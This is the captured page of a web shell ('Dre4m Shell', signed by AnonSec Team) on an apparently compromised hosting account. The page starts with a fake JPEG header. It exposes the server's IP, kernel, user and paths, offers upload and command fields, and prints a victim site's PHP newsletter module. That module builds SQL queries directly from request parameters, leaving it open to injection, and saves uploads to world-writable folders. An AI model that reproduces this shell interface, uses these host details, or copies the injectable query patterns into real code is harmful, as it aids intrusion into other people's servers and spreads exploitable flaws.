ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/tasks/_newsletter.php
<script>
	jQuery.noConflict()(function($){
		$(document).ready(function () {
			$('.task_run').click(function() {
				var url = '<?php echo $INFO['base_url']?>runtask.php';
				var tmp = this.id;
				var id = tmp.replace(/[^\d\.]/g, '');
				$.get
				  (
					 url,"task_run=" + id,function(result)
						{
						  document.location.href="?newsletter";
						},
						"json"
					);
			});	
		});	
	});			
</script>
<?php
set_time_limit(0);

if(isset($_GET['pause'])){
	mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."mail_task SET pause = '1' WHERE id = ".$_GET['pause']." LIMIT 1");?>
	
	   <script type="application/javascript">
			document.location.href="?newsletter";
		</script> 
		
		
<?php	}
function compare_dates($date1, $date2) 
    { 
    $blocks = array( 
        array('name'=>'year','amount'    =>    60*60*24*365    ), 
        array('name'=>'month','amount'    =>    60*60*24*31    ), 
        array('name'=>'week','amount'    =>    60*60*24*7    ), 
        array('name'=>'day','amount'    =>    60*60*24    ), 
        array('name'=>'hour','amount'    =>    60*60        ), 
        array('name'=>'minute','amount'    =>    60        ), 
        array('name'=>'second','amount'    =>    1        ) 
        ); 
    
    $diff = abs($date1-$date2); 
    
    $levels = 2; 
    $current_level = 1; 
    $result = array(); 
    foreach($blocks as $block) 
        { 
        if ($current_level > $levels) {break;} 
        if ($diff/$block['amount'] >= 1) 
            { 
            $amount = floor($diff/$block['amount']); 
            if ($amount>1) {$plural='s';} else {$plural='';} 
            $result[] = $amount.' '.$block['name'].$plural; 
            $diff -= $amount*$block['amount']; 
            $current_level++; 
            } 
        } 
    return implode(' ',$result); 
    } 

if(count($_POST) && !isset($_POST['login']) && isset($_POST['group']) && !isset($_POST['table']) && $_SESSION['PERM'][1]['a'] == 1){
	$filename = $d_file = '';
	

	$cnt = count($_FILES['file']['name']);
	$mime = unserialize($_SESSION['mime']);
	$file_attach = unserialize($_SESSION['file_attach']);
	if($cnt > 0) {
	 for($i = 0; $i < $cnt; ++$i) {	
	 	
		
		$type = end(explode(".",$_FILES['file']['name'][$i]));
			if(array_search($type,$mime)){
				$file_access = array_search($type,$mime);
			}else{
				$file_access = -1;
			};
		 if($_FILES['file']['size'][$i]>0){
			 				if(in_array($file_access,$file_attach)){
								$filename = $_FILES['file']['name'][$i];
								$name_file=$filename;
								if (!is_dir('attachments/'.$_SESSION['user']))
								  {
									mkdir("attachments/".$_SESSION['user'], 0777);
									
								  }
								
								$name_file = urlencode($name_file);
								$file = "attachments/".$_SESSION['user']."/".$name_file;  
								copy($_FILES['file']['tmp_name'][$i], $file);
								$filename = $name_file;
								
								if($cnt > 1) {$d_file .= $filename.";";}else{$d_file .= $filename;}
							}
		
		}	
	 }
	}
	foreach($_POST['group'] as $v){
		$group_name = mysqli_fetch_array(mysqli_query($db,"SELECT name FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE id = {$v} LIMIT 1"));
		$gg[$v] = $group_name['name'];
	}
	$group = serialize($gg);
	if(isset($_POST['importance'])){$importance = 'high';}else{ $importance= 'normal';}
	if(isset($_POST['track_links'])){$track_clicks ='1';}else{$track_clicks='0';}
	if(isset($_POST['track_reading'])){$track_reading ='1';}else{$track_reading='0';}
	$sending_setting = serialize(array($_SET['timeemail'],$_SET['numberemail'],$_SET['packtimeemail']));

	$query = 
	"INSERT INTO ".$INFO['sql_tbl_prefix']."mail_task (id, id_user, ddate_start, ddate_end, id_template, id_cat, name, message, file, status, importance, id_md5,track_clicks,track_reading,pause,sending_setting,cron_status) 
	VALUES ('', '".$_SESSION['id']."','".strtotime($_POST['ddate']." ".$_POST['ddate_time'].":00")."', '0', '{$_POST['template']}', '{$group}', '".mysqli_real_escape_string($db,$_POST['title'])."', '".addslashes($_POST['message'])."', '{$d_file}', '0', '{$importance}', '','{$track_clicks}','{$track_reading}','0','{$sending_setting}', '0')"; 
	
	mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);	
	$id_task = mysqli_insert_id($db);

	mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."system_logs 
 (id, id_type, id_user, ip, ddate, url, message) 
 VALUES 
 ('', '3', '{$_SESSION['id']}', '{$ip}','".time()."', '".$_SERVER['REQUEST_URI']."', 'User added new e-newsletter')");

	
	mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."mail_task SET id_md5 = '".md5($id_task)."' WHERE id = ".$id_task." LIMIT 1");
	
				foreach($_POST['group'] as $val_S){
					$feature_query = '';
					if(isset($_POST['func'])){
					
						$query_feature = "SELECT feature,id FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE feature != '' AND status = 0";						
						$result_feature = mysqli_query($db,$query_feature) or exit($query_feature."select advice error");
						

						while($user_feature = mysqli_fetch_array($result_feature)){
							$fea = unserialize($user_feature['feature']);
							foreach($_POST['func'] as $key => $val){
								if($_POST['func'][$key]['que'] == "LIKE") 			{
									if(stristr($fea[$key][0],$val['ins'])==true) $id[$key][] = $user_feature['id'];
									}
								elseif($_POST['func'][$key]['que'] == "NOT LIKE") 	{
									if(stristr($fea[$key][0],$val['ins'])==false) $id[$key][] = $user_feature['id'];
									}
								elseif($_POST['func'][$key]['que'] == "=") 			{
									if($fea[$key][0] == $val['ins']) $id[$key][] = $user_feature['id'];
									}
								elseif($_POST['func'][$key]['que'] == "!=") 		{
									if($fea[$key][0] != 0+$val['ins']) $id[$key][] = $user_feature['id'];
									}
								elseif($_POST['func'][$key]['que'] == "= ''") 		{
									if($fea[$key][0] == '') $id[$key][] = $user_feature['id'];
									}
								elseif($_POST['func'][$key]['que'] == "!= ''") 		{
									if($fea[$key][0] != '') $id[$key][] = $user_feature['id'];
									}
								elseif($_POST['func'][$key]['que'] == "<") 			{
									if($fea[$key][0] < 0+$val['ins']) $id[$key][] = $user_feature['id'];
									}
								elseif($_POST['func'][$key]['que'] == "<=") 		{
									if($fea[$key][0] <= 0+$val['ins']) $id[$key][] = $user_feature['id'];
									}
								elseif($_POST['func'][$key]['que'] == ">") 			{
									if($fea[$key][0] > 0+$val['ins']) $id[$key][] = $user_feature['id'];
									}
								elseif($_POST['func'][$key]['que'] == ">=") 		{
									if($fea[$key][0] >= 0+$val['ins']) $id[$key][] = $user_feature['id'];
									}	
									
				
							}
						}
						if(isset($id) && is_array($id) && count($id) > 0){
							if(count($id) >1){
								$tt = call_user_func_array("array_intersect",$id);
								
							}elseif(count($id)==1){
								foreach($id as $v){
									foreach($v as $vv){
										$tt[]=$vv;
									}
								}
							}
							
							$tt = join(",", $tt);
							$feature_query = " AND id IN ({$tt})";
						}
					}
					
					

					$query = "SELECT *,
					(SELECT name FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE ".$INFO['sql_tbl_prefix']."mail_group.id = $val_S) as name_group
					 FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE id_cat = {$val_S} AND status = 0 {$feature_query}";
					
					$result = mysqli_query($db,$query) or exit("select advice error");
					while($user = mysqli_fetch_array($result)){						
						if(mysqli_num_rows($us_task = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$id_task} AND id_user = {$user['id']} LIMIT 1")) == 0){
							$user_ser = serialize(array($user['id'],$user['name'],$user['email'],$user['name_group']));
							$que = "INSERT INTO ".$INFO['sql_tbl_prefix']."mail_task_email (id, id_task, id_avtor, id_user, ddate, status) VALUES ('', '".$id_task."', '{$_SESSION['id']}', '{$user_ser}', '0', '0' )"; 
							mysqli_query($db,$que) or exit("insert error" . mysqli_error()."<br>".$que);
						}
					}
				}	


	
				if(isset($_SET['testing_email'])){
					$mail = new PHPMailer();
					$mail->CharSet = "utf-8";
					$mail->SetFrom($_SET['email_from'], $_SET['titlefrom']);				
					$mail->AddReplyTo($_SET['email_from'],$_SET['titlefrom']);
					
					$mail->AddAddress($_SET['testing_email']);		
					$mail->Subject = '[FES CREATE] '.$_POST['title'];
				
					$body =str_replace('\"','"',$_POST['message']);
					
					$text_html = $body;
					$mail->MsgHTML($text_html);
					$mail->Send();
				}
	?>
    	<script type="application/javascript">
			document.location.href="?newsletter";
		</script> 
		
<?php }elseif(isset($_POST['table'])){
	foreach($_POST['table'] as $d_key=>$d_val){
		$query = "SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE id=".$d_key." LIMIT 1";
		$result = mysqli_query($db,$query) or exit("select advice error");
		$task = mysqli_fetch_array($result);
		
		$query = "SELECT * FROM ".$INFO['sql_tbl_prefix']."user WHERE id=".$task['id_user']." LIMIT 1";
		$result = mysqli_query($db,$query) or exit("select advice error");
		$user = mysqli_fetch_array($result);
		
		 mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."system_logs 
				 (id, id_type, id_user, ip, ddate, url, message) 
				 VALUES 
				 ('', '5', '{$_SESSION['id']}', '{$ip}', '".time()."', '".$_SERVER['REQUEST_URI']."', 'User {$_SESSION['user']} remove task - {$task['name']}')");
		
		
		if(isset($task['file'])){
			$file_array = explode(";",$task['file']);
			foreach($file_array as $val){
				$user_name = strtolower($user['name']);
				@unlink("attachments/".$user_name."/".$val);
			}
		}
		
		
		
		$query = "DELETE FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE id=".$d_key." LIMIT 1";
		mysqli_query($db,$query) or exit("delet error" . mysqli_error());
		
		$query = "DELETE FROM ".$INFO['sql_tbl_prefix']."statistics WHERE id_task=".$d_key;
		mysqli_query($db,$query) or exit("delet error" . mysqli_error());
		
		$query = "DELETE FROM ".$INFO['sql_tbl_prefix']."statistic_open WHERE id_task=".$d_key;
		mysqli_query($db,$query) or exit("delet error" . mysqli_error());
		
		$query = "DELETE FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task=".$d_key;
		mysqli_query($db,$query) or exit("delet error" . mysqli_error());
	}?>
  
  
     	<script type="application/javascript">
			document.location.href="?newsletter";
		</script> 
  
  
  
<?php }

$res = mysqli_query($db,"SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE status IN (0,2,7)");
if(mysqli_num_rows($res) > 0){
	$count_ok = mysqli_fetch_array($res);
}

?>
<script>
jQuery.noConflict()(function($){
	$(document).ready(function () {
		$(".cheackall").click(function()				
			{
				var checked_status = this.checked;
				for (i=1; i<=<?php echo $count_ok['count(*)']?>; i++){
					$('#tab'+i).each(function()
					{
						this.checked = checked_status;
					});
				}
			});
	});
});
</script>


<div class="page-header">
	<h1><i class="icon-envelope-alt"></i> <?php echo __('Newsletter');?> <?php if(isset($_SESSION['PERM'][1]['a']) && $_SESSION['PERM'][1]['a'] == 1){?><div class="pull-right btn-group"><a href="" id="form" class="btn btn-primary <?php if(isset($_SESSION['last_update_date']) && $_SESSION['last_update_date'] > 0 && isset($_SESSION['limit']) && $_SESSION['limit'] <= 0){echo 'disabled" disabled="disabled" ';} ?>"><i class="icon-plus-sign icon-white"></i> Cr&eacute;ation e-Mailing</a></div><?php } ?></h1>
</div>
<?php if($_SET['debug_mode']==1){?>
	<div class="alert alert-danger">
    	<h4><i class="icon-info-sign"></i> <?php echo __('Enable Debug Mode');?></h4>
        <?php echo __('Actual mails will not be sent');?>
    </div>
<?php } ?>
<?php if(isset($_SESSION['last_update_date']) && $_SESSION['last_update_date'] > 0 && isset($_SESSION['limit']) && $_SESSION['limit'] <= 0){?>
	<div class="alert alert-info">
    	<h4><i class="icon-info-sign"></i> <?php echo __('Information');?></h4>
        <?php echo __('Can not send messages. Limit reached.');?>
    </div>
<?php }?>
<?php if(isset($_SESSION['PERM'][1]['a']) && $_SESSION['PERM'][1]['a'] == 1){?>
<?php $url_s =explode("/",$_SERVER['SCRIPT_FILENAME']);
					$url_file = $url_s[count($url_s)-1];
					unset($url_s[count($url_s)-1]);
					$url_file = implode("/",$url_s);

if(isset($_SET['text_html']) &&  $_SET['text_html'] == 'html')	{				
?>  
<?php require_once('tiny_mce/tinymce.php');?>
              
<script type="text/javascript">
 function LoadTempl(str)
 { 
 if (str==0)
  {
	  document.getElementById("message").innerHTML="";
	  return;
  }	
 if (window.XMLHttpRequest)
   {// code for IE7+, Firefox, Chrome, Opera, Safari
   xmlhttp=new XMLHttpRequest();
   }
 else
   {// code for IE6, IE5
   xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
   }
 xmlhttp.onreadystatechange=function()
   {
   if (xmlhttp.readyState==4 && xmlhttp.status==200)
     {
	
//	tinyMCE.get('message').remove(); 
	document.getElementById("message").innerHTML=xmlhttp.responseText;
	
	//document.getElementById("message").text = xmlhttp.responseText;
	//tinyMCE.execCommand('mceAddControl', false, 'message');	
	 var ed = tinyMCE.get('message');

        // Do you ajax call here, window.setTimeout fakes ajax call
        ed.setProgressState(1); // Show progress
        window.setTimeout(function() {
                ed.setProgressState(0); // Hide progress
                ed.setContent(xmlhttp.responseText);
        }, 300);
	 
     }
   }
 xmlhttp.open("GET","settings/get_templ.php?id_templ="+str,true);
 xmlhttp.send(null);
} 
 </script>
<?php } ?>
<div id="form-content" style="display:none">
		<form class="form-horizontal" id="add_newsletter" method="post" action="" enctype="multipart/form-data">
        <div class="row-fluid">
            <div class="span6">
                <div class="control-group">
                    <label class="control-label" for="title"><?php echo __('Subject');?></label>
                    <div class="controls">
                    	<input type="text"  style="width:100%" id="title" name="title" value="" required>
                        <div id="test"></div>
                    </div>
                </div>
                <div class="control-group">
                  <label class="control-label" for="group"><?php echo __('Group');?> <i class="icon-exclamation-sign" rel="tooltip" title="<?php echo __('In brackets you can see the amount of email address in group');?>"></i></label>
                  <div class="controls">
                <select name="group[]" multiple="multiple" style=" width:100%; height:150px" >
                <?php   
				if($_SESSION['PERM'][3]['v'] == 1){
					$where = ' WHERE id_user ='.$_SESSION['id'].'';
				}else{
					$where = '';
				}
						$result = mysqli_query($db,"SELECT *,
						(SELECT COUNT(*) FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE ".$INFO['sql_tbl_prefix']."mail_user.id_cat = ".$INFO['sql_tbl_prefix']."mail_group.id AND ".$INFO['sql_tbl_prefix']."mail_user.status = 0) as count_user
						FROM ".$INFO['sql_tbl_prefix']."mail_group {$where} ORDER by name ");
                        while($group = mysqli_fetch_array($result)){
							if($group['count_user'] > 0){ ?>
                       <option value="<?php echo $group['id']?>" <?php if(isset($user['id_cat']) && $user['id_cat'] == $group['id']){?> selected<?php }?>>(<?php echo $group['count_user']?>) <?php echo $group['name']?></option>
	                       	<?php }?>
                <?php } ?>			
                </select>
                </div>
                </div>
                <?php $result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_user_feature ORDER by name");
				if(mysqli_num_rows($result)>0){
					while($feature = mysqli_fetch_array($result)){ ?>
                <div class="control-group">
                	<label class="control-label" for="group"><?php echo $feature['name']?></label>
                    <div class="controls">
                   	<select name="func[<?php echo $feature['id']?>][que]" class="span3">
                    	<option value=""></option>
	                    <option value="LIKE">LIKE</option>
                        <option value="NOT LIKE">NOT LIKE</option>
                        <option value="=">=</option>
                        <option value="!=">!=</option>
                        <option value="= ''">= ''</option>
                        <option value="!= ''">!= ''</option>
                         <option value="=">=</option>
                        <option value="&gt;">&gt;</option>
                        <option value="&gt;=">&gt;=</option>
                        <option value="&lt;">&lt;</option>
                        <option value="&lt;=">&lt;=</option>
	                </select>
                   <input type="text" class="pull-left span4"  name="func[<?php echo $feature['id']?>][ins]" value="">
                    </div>
                </div>
                <?php } }?>
            </div>
            
            
            <div class="span6">
                <div class="control-group">
                  <label class="control-label" for="template"><?php echo __('Template');?></label>
                  <div class="controls">
                    <select name="template" id="template" onchange="LoadTempl(this.value)" <?php if(isset($_SET['text_html']) &&  $_SET['text_html'] == 'text')	{?>  disabled="disabled" <?php } ?>>
                    <option value="0" <?php if(isset($templates['id_cat']) && $templates['id_cat'] == 0){?> selected<?php }?>>--"--"</option>
                <?php   $result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."templates ORDER by name ");
                        while($templates = mysqli_fetch_array($result)){ ?>
                       <option value="<?php echo $templates['id']?>" <?php if(isset($templates['id_cat']) && $templates['id_cat'] == $templates['id']){?> selected<?php }?>><?php echo $templates['name']?></option>
                <?php } ?>			
                </select>
                  </div>
                </div> 
                
                
                
                
                <div class="control-group">
                <label class="control-label" for="ddate"><?php echo __('Launch date');?></label>
                <div class="controls">
                <div class="input-prepend input-append">
                    <input type="text" name="ddate" id="ddate" style="width: 100px;" value="">&nbsp;
                    <input type="time" name="ddate_time" style="width:80px" value="<?php echo date("H:i",time())?>" required>
                    <BUTTON name="s" value="<?php echo __('Date');?>" type="button" id="trigger1" class="btn btn-primary"><span><i class="icon-calendar"></i></span></BUTTON>
                </div>
                  </div>
                </div>
                <div class="control-group"  style="margin-bottom:0px !important">
	                <label class="control-label" for="importance"><i class="icon-lightbulb"></i> <?php echo __('High Importance');?></label>
	                <div class="controls">
                        <div class="switch switch-small" tabindex="0">
                            <input type="checkbox" name="importance">             
                        </div>
                    </div>   
                </div> 
                <div class="control-group"  style="margin-bottom:0px !important">
	                <label class="control-label" for="track_links"><?php echo __('Track clicks on links');?></label>
	                <div class="controls">
                        <div class="switch switch-small" tabindex="0">
                            <input type="checkbox" name="track_links" checked="checked">                         
                        </div>
                    </div>   
                </div>      
			    <div class="control-group">
	                <label class="control-label" for="track_reading"><?php echo __('Track reading');?></label>
	                <div class="controls">
                        <div class="switch switch-small" tabindex="0">
                            <input type="checkbox" name="track_reading" checked="checked">            
                        </div>
                    </div>   
                </div>      
            </div>
        </div>        
  		<div class="control-group" style="margin-bottom:0px">
          <label class="control-label"><?php echo __('Shortcodes');?></label>
 <?php if(isset($_SET['text_html']) &&  $_SET['text_html'] == 'html')	{	
          		$result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."shortcodes WHERE id NOT IN (4,5,6,7,8) ORDER by system,shortcode");
				if(mysqli_num_rows($result)>0){?>
				<div class="controls alert alert-success">				
<?php			while($sh = mysqli_fetch_array($result)){
		  ?>
            <a class="label label-inverse" title="<?php echo $sh['tooltip']?>" onclick="tinyMCE.execCommand('mceInsertContent',false,'{<?php echo $sh['shortcode']?>}');">{<?php echo $sh['shortcode']?>}</a>
            <?php } ?>
			</div>
			<?php }}?>
         </div>    
		<div class="control-group">
          <label class="control-label" for="message"><?php echo __('Message');?></label>
          <div class="controls">
            <textarea rows="7" id="message" style="width:97%" class="advanced" name="message"></textarea>
          </div>
        </div>
        
        
        <!--
                <div class="control-group">
          <label class="control-label" for="file"><?php echo __('Files');?></label>
          <div class="controls">
            <input type="file" class="input-xlarge" id="file" name="file[]" multiple value="Add files">
          </div>
        </div>
        
        -->
        
<div class="form-actions">
		<div class="btn-group">
              <button type="submit" class="btn btn-success"><i class="icon-ok"></i> <?php echo __('Create');?></button>
              <?php if($_SET['testing_email_enable'] == 1 && isset($_SET['testing_email'])){?>
              <a href="#" onclick="return false;" id="testMail" class="btn btn-primary"><i class="icon-envelope"></i> <?php echo __('Send test email');?></a>
              <?php } ?>
              <a href="#preview" id="btn_prev" role="button" data-toggle="modal" class="btn btn-primary"><i class="icon-eye-open"></i> <?php echo __('Preview');?></a>
        </div>      
</div>
</form>
</div>
<?php } ?>
<?php if(isset($_SESSION['PERM'][1]['v']) && $_SESSION['PERM'][1]['v'] == 1){
			$where = " AND id_user = ".$_SESSION['id'];
		}else{
			$where = "";
		}
		 $query = "SELECT *,
		 (SELECT ulimit FROM ".$INFO['sql_tbl_prefix']."user WHERE ".$INFO['sql_tbl_prefix']."user.limit_day > 0 AND ".$INFO['sql_tbl_prefix']."user.id = ".$INFO['sql_tbl_prefix']."mail_task.id_user) as ulimit
		 FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE (status = 0 OR status = 2 OR status = 7) {$where} ORDER by ddate_start ASC";
		$result = mysqli_query($db,$query);
		if(mysqli_num_rows($result) > 0){?>
        	<div class="row-fluid">
            <form action="" method="post">
            <table class="table table-bordered table-striped">
                <thead>
                    <tr>
                        <th class="span1">##</th>
                        <th class="span1"><input type="checkbox" class="cheackall"/></th>
                        <th class="span1"><?php echo __('Status');?></th>
                        <th class="span1"><?php echo __('Date Start');?></th>
                        <th class="span1"><?php echo __('Last sent');?></th>
                        <th class="span3"><?php echo __('Process');?></th>
                        <th class="span2"><?php echo __('Group');?></th>
                        <th class="span2"><?php echo __('User');?></th>
                        <th><?php echo __('Subject');?></th>
                       
<!--
 <th class="span1"><?php echo __('Files');?></th>
 -->
                        <th class="span1"><?php echo __('Options');?></th>                                        
                    </tr>
                </thead>
                <tbody>
    <?php $ii = 1;
	while($task = mysqli_fetch_array($result)){		 ?>
                    <tr class="font11">
                        <td><?php echo $task['id']?></td>
                        <td><input type="checkbox" id="tab<?php echo $ii++;?>" name="table[<?php echo $task['id']?>]"></td>
                        <td><?php if($task['status'] == 2 && $task['ddate_start'] < time() && isset($task['ulimit'])){
							echo "<span class='label label-info'>".__('Sending')."</span>";
						}else{
							echo "<span class='label label-warning'>".__('Do not send')."</span>";
						}
						if($task['pid']>0){
							echo "<span class='label label-info'>".__('Autoresponder')."</span>";
						}
						if($task['pause'] == 1){
							echo "<span class='label label-info'>".__('Pause')."</span>";
						}
						?>
                        </td>
                        <td class="font11"><?php echo date("d.m.Y H:i",$task['ddate_start'])?></td>
                        <td id="last<?php echo $task['id']?>"><?php
                        $last = mysqli_fetch_array(mysqli_query($db,"SELECT ddate FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$task['id']} AND status = 1 ORDER by ddate DESC LIMIT 1"));
						if($last['ddate']>0){echo date("d.m.Y H:i",$last['ddate']);}else{ echo "---";}
						?></td>
                        <td>
						<script>
							jQuery.noConflict()(function($){
								$(function() {
									getMessages<?php echo $task['id']?> = function() {
										$.get('tasks/progress.php?id=' + <?php echo $task['id']?>, function(result,status){
											if(result){
												$('#result<?php echo $task['id']?>').html(result.data.progress);
												$('#last<?php echo $task['id']?>').html(result.data.last_send);
												$('#lim<?php echo $task['id']?>').html(result.data.limit);
												$('#footer_limit').html(result.data.limit_footer);
											}
											setTimeout(function(){
											   getMessages<?php echo $task['id']?>();
											},2000);
										},"json"
									);
									}
									getMessages<?php echo $task['id']?>();
								});								
							});
						</script>
						<?php 
							$pr = mysqli_fetch_array(mysqli_query($db,"SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$task['id']} AND status = 1"));
							$proc_ready = $pr['count(*)'];
							$pr = mysqli_fetch_array(mysqli_query($db,"SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$task['id']}"));
							$proc_dready = $pr['count(*)'];
							if($proc_ready == 0 || $proc_dready == 0){
								$proc = 0;
							}else{
								$proc = round(($proc_ready*100)/$proc_dready); 
							}
						?>
                        <?php if($proc_ready == 0){ 
                        	    
                        	if($task['pid'] == 0){
								echo '<span class="label">'.__('Sending has not started')."</span>";
							}else{
								echo "<span class='label'>#<a href='?autoresponders' style='color:#fff' target='_blank'>".$task['pid']."</a> ".__('Autoresponder has not started')."</span>
								<br>".date("D",$task['ddate_start']);
							}?>
                        <?php }else{?>
                        <div class="progress progress-striped active" style="background:#999; margin-bottom:0" id="result<?php echo $task['id']?>">
            	        		<?php echo "<div class=\"bar\" style=\"width:{$proc}%;\">{$proc_ready}/{$proc_dready}&nbsp;({$proc}%)</div>"; ?>      
        	             </div>
                        <?php }?>  
                         <?php if($task['ddate_start'] < time() && ($task['ulimit'] <= 0 && isset($task['ulimit']))){?>
                        <span class="label label-important"><?php echo __('After increasing the limit')?></span>
                        <?php } ?>
                        </td>
                        <td><?php $group_array = unserialize($task['id_cat']);
						echo "<ul class='unstyled'>";
						foreach($group_array as $key => $val){
							if($task['pid'] > 0){
							$group = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE id = {$val} LIMIT 1");								
							}else{
							$group = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE id = {$key} LIMIT 1");																
							}
							if(mysqli_num_rows($group) == 0){
								echo "<li><span class='label label-important'><s>".$val."</s></span></li>";
							}else{
								if($task['pid'] > 0){
									$gr_name = mysqli_fetch_array($group);
									$val = $gr_name['name'];
								}
								echo "<li><span class='label label-success'>".$val."</span></li>";
							}
						}
						echo "</ul>";
						?></td>
                        <td><?php $user_name = mysqli_fetch_array(mysqli_query($db,"SELECT name,ulimit,limit_day FROM ".$INFO['sql_tbl_prefix']."user WHERE id = {$task['id_user']} LIMIT 1"));
						echo $user_name['name'] ." <span id='lim".$task['id']."'>(".$user_name['ulimit'].'/'.$user_name['limit_day'].")</span>";?></td>
                        <td><a href="?task=<?php echo $task['id']?>"><?php echo $task['name']?></a></td>
                       
<!--
 <td><?php if(strlen($task['file'])>3){ ?>
                        <a href="#" class="btn" rel="popover" data-original-title="<?php echo __('Files list');?>" data-placement="left" data-content="<?php if(strstr($task['file'],';')){
                            $fi = explode(";", $task['file']);
                            foreach($fi as $v){
                                if(strlen($v)>0){
                            ?>
                        <?php echo $v?>
                        <?php }
                            }
                        }else{?>
                        <?php echo $task['file']?>
                        <?php } ?>"><?php echo __('Files');?></a>
<?php }else{
							echo "<span class='label'>".__('No attachments')."</span>";
						}
						?>
                        </td>
  -->                     
                        
                        <td><div class="btn-group">
                          <?php if($task['pid'] == 0){?>
                          <a href="?newsletter&pause=<?php echo $task['id']?>" class="btn btn-small btn-primary<?php if($task['status']!=2 || $task['pause'] == 1){?> disabled" disabled="disabled" onClick="return false;"<?php }else{ echo '"'; }?>><i class="icon-pause"></i></a>
                          <a href="#" id="task_run<?php echo $task['id']?>" title="<?php echo __('Run task');?>" class="task_run btn btn-small btn-primary<?php if(($task['pause'] == 0) && ($task['status'] == 2 || $task['status'] == 7)){?> disabled" disabled="disabled" onClick="return false;"<?php }else{ echo '"'; }?>><i class="icon-play"></i></a>
 

                         <?php }?>
						  <?php if($_SESSION['PERM'][1]['r'] == 1){?>
                          <a href="?task_del=<?php echo $task['id']?>" onClick="return confirm('<?php echo __('Remove?');?>');" class="btn btn-small btn-primary"><i class="icon-remove-sign"></i></a>
                          <?php } ?> 
                        </div>
                		</td>
                    </tr>                                
            <?php }?>
            </tbody>
            <tfoot>
            	<tr>
                	<td colspan="3" class="span3"><button type="submit" class="btn btn-small btn-primary" onclick="return confirm('<?php echo __('Remove')?>?');"><i class="icon-remove-sign"></i> <?php echo __('Delete Selected');?></button></td>
                    <td colspan="8"></td>
                </tr>
            </tfoot>
			</table>
            </form>
            </div>
		<?php }else{ ?>
        	<div class="alert alert-info">
            	<h4><i class="icon-info-sign"></i> <?php echo __('Information');?></h4>
                <?php echo __('Currently, no one e-newletter is not sent');?>
            </div>
		<?php }?>
<!-- Modal -->
<div id="preview" class="modal hide fade" style="width:1000px; margin-left:-477px" tabindex="-1">
  <div class="modal-header">
    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
    <h3 id="previewHeader"></h3>
  </div>
  <div class="modal-body" id="modalbody">
    
  </div>
</div>

<?php if($_SET['debug_mode'] == 1){ $deb = "Actif"; } else { $deb = "Non actif"; } ?>
         <div class="row" style="width:100%; margin-left:0">
<br />
         	<div class="">
            	<div class="panel panel-primary">
                <br />
                                 	<table class="table table-bordered table-hover font11">
                        	<tr>
                            	<th class="col-md-6">Nom de l'entreprise</th>
                               	<td>
                             <span class='label label-info'>
                               	<?php echo  $_SET['titlefrom']?>
                             </span>
 	
                               	</td>
                            </tr>
                            <tr>
                            	<th class="col-md-6">Mode d&eacute;bugage</th>
                               	<td><span class='label label-info'><?php echo $deb ?></span></td>
                            </tr>
                            <tr>
                            	<th class="col-md-6">Utilisateur connect&eacute;</th>
                               	<td><span class='label label-info'><?php echo $_SESSION['group'] ?> : <?php echo $_SESSION['user'] ?></span></td>
                            </tr>
                            <tr>
                            	<th class="col-md-6">Adresse e-mail exp&eacute;diteur</th>
                               	<td><span class='label label-info'><?php if(filter_var(trim($_SET['email_from']), FILTER_VALIDATE_EMAIL)){echo $_SET['email_from'];}else{echo $INFO['email_from'];}?></span></td>
                            </tr>
                            <tr>
                            	<th class="col-md-6">M&eacute;thode de distribution des emails</th>
                               	<td>
                               	
 						<span class='label label-success'>
                             <?php if($_SET['mail_method'] == 'mail'){ echo'PHP Mail()'; } ?>
                             <?php if($_SET['mail_method'] == 'smtp'){ echo'SMTP via : ' . $_SET['smtp_user'];} ?>
                        </span>

       	</td>
                            </tr>
                     </table>
                </div>
            </div>

Anon7 - 2022
AnonSec Team